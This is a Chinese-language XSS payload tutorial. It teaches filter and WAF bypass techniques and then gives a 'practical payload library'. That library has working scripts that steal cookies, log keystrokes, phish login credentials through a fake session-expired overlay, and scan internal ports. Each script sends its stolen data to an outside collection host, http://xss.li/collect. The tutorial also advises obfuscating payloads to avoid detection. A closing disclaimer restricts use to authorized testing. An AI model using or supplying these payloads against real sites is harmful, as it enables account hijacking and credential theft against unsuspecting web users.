一、Payload基础概念
XSS Payload是指用于执行跨站脚本攻击的恶意JavaScript代码。一个优秀的Payload应该具备以下特点:
- 隐蔽性:不易被用户发现
- 高效性:快速完成攻击目标
- 兼容性:在不同浏览器上都能运行
- 绕过性:能够绕过WAF和XSS过滤器
1.1 基础Payload结构
最简单的XSS Payload:
<script>alert('XSS')</script>
使用事件处理器:
<img src=x onerror=alert('XSS')>
二、常见过滤器绕过技巧
2.1 大小写混淆
许多过滤器区分大小写,可以通过大小写混淆来绕过:
<ScRiPt>alert('XSS')</sCrIpT>
<IMG SRC=x OnErRoR=alert('XSS')>
2.2 双写绕过
如果过滤器只删除一次关键字,可以使用双写:
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<img srsrc=x onerronerror=alert('XSS')>
2.3 编码绕过
HTML实体编码:
<img src=x onerror="alert('XSS')">
Unicode编码:
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
Base64编码:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
2.4 注释混淆
在关键字中插入注释:
<scr/*comment*/ipt>alert('XSS')</scr/**/ipt>
<img src=x one/**/rror=alert('XSS')>
2.5 换行符绕过
<img src=x
onerror
=
alert('XSS')>
三、高级Payload技巧
3.1 无<script>标签的Payload
当<script>标签被过滤时,可以使用事件处理器:
// SVG标签
<svg onload=alert('XSS')>
<svg><animate onbegin=alert('XSS')>
// Body标签
<body onload=alert('XSS')>
<body onpageshow=alert('XSS')>
// Input标签
<input onfocus=alert('XSS') autofocus>
<input onblur=alert('XSS') autofocus><input autofocus>
// Marquee标签
<marquee onstart=alert('XSS')>
// Details标签
<details open ontoggle=alert('XSS')>
3.2 无括号的Payload
当括号被过滤时:
<script>alert`XSS`</script>
<script>onerror=alert;throw 'XSS'</script>
<script>{onerror=alert}throw 'XSS'</script>
3.3 无引号的Payload
使用String.fromCharCode或其他方法:
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert(/XSS/)>
<img src=x onerror=eval(/alert\x28'XSS'\x29/.source)>
3.4 短Payload
当长度受限时,使用最短的Payload:
<script src=//NJ></script> // 最短的外部JS载入
<svg onload=alert(1)> // 常用短Payload
<marquee onstart=alert(1)> // 18字符
四、WAF绕过实战案例
4.1 绕过空格过滤
// 使用Tab、换行等空白字符
<img src=x onerror=alert('XSS')>
<img%0asrc=x%0aonerror=alert('XSS')>
// 使用斜杠
<img/src=x/onerror=alert('XSS')>
4.2 绕过等号过滤
<svg><animate attributeName%3dx onbegin%3dalert(1)>
4.3 绕过关键字检测
使用字符串拼接或其他技巧:
<script>eval('ale'+'rt(1)')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>Function('ale'+'rt(1)')()</script>
<script>[]['constructor']['constructor']('alert(1)')()</script>
4.4 多重编码
// URL编码 + HTML编码
<img src=x onerror="%61%6c%65%72%74(1)">
五、实战Payload库
5.1 Cookie窃取Payload
// 基础版本
<script>
document.location='http://xss.li/collect?c='+document.cookie;
</script>
// 使用Image对象(更隐蔽)
<script>
new Image().src='http://xss.li/collect?c='+document.cookie;
</script>
// 使用fetch API
<script>
fetch('http://xss.li/collect', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie})
});
</script>
5.2 键盘记录Payload
<script>
var keys = '';
document.onkeypress = function(e) {
keys += e.key;
if(keys.length > 20) {
new Image().src='http://xss.li/collect?k='+encodeURIComponent(keys);
keys = '';
}
}
</script>
5.3 钓鱼Payload
<script>
var overlay = document.createElement('div');
overlay.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(0,0,0,0.8);z-index:9999">
<div style="margin:100px auto;width:400px;background:white;
padding:20px;border-radius:5px">
<h3>会话已过期,请重新登录</h3>
<input type="text" id="u" placeholder="用户名" style="width:100%">
<input type="password" id="p" placeholder="密码" style="width:100%;margin:10px 0">
<button onclick="steal()">登录</button>
</div>
</div>`;
document.body.appendChild(overlay);
function steal() {
var u = document.getElementById('u').value;
var p = document.getElementById('p').value;
new Image().src='http://xss.li/collect?u='+u+'&p='+p;
location.reload();
}
</script>
5.4 端口扫描Payload
<script>
var ports = [21, 22, 23, 25, 80, 443, 3306, 3389, 8080];
var results = [];
ports.forEach(port => {
var img = new Image();
img.onerror = function() {
results.push(port + ':open');
};
img.src = 'http://192.168.1.1:' + port;
});
setTimeout(() => {
new Image().src = 'http://xss.li/collect?ports=' + results.join(',');
}, 5000);
</script>
警告
本文中的Payload仅用于安全研究和授权的渗透测试。未经授权对他人系统进行测试是违法行为!
六、Payload测试与优化
6.1 Payload编码工具
常用的编码工具:
- Burp Suite的Decoder
- CyberChef(在线编码工具)
- XSS Hunter(自动化XSS平台)
- BeEF Framework(浏览器利用框架)
6.2 Payload优化建议
- 测试兼容性:在不同浏览器中测试Payload
- 缩短长度:在长度受限的场景下优化代码
- 提高隐蔽性:避免使用明显的恶意代码
- 增加稳定性:添加异常处理机制
6.3 Payload混淆示例
原始Payload:
alert(document.cookie);
混淆后:
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));
最佳实践
1. 始终测试Payload的有效性
2. 根据目标环境调整编码方式
3. 使用自动化工具提高效率
4. 保持对新绕过技术的学习
七、总结
XSS Payload的编写是一门艺术,需要不断学习和实践。关键要点:
- 掌握基础的编码和混淆技术
- 了解常见WAF的过滤规则
- 熟悉各种绕过技巧
- 善用自动化工具
- 保持合法合规的测试
记住:技术是中性的,关键在于如何使用。请将这些知识用于提升系统的安全性!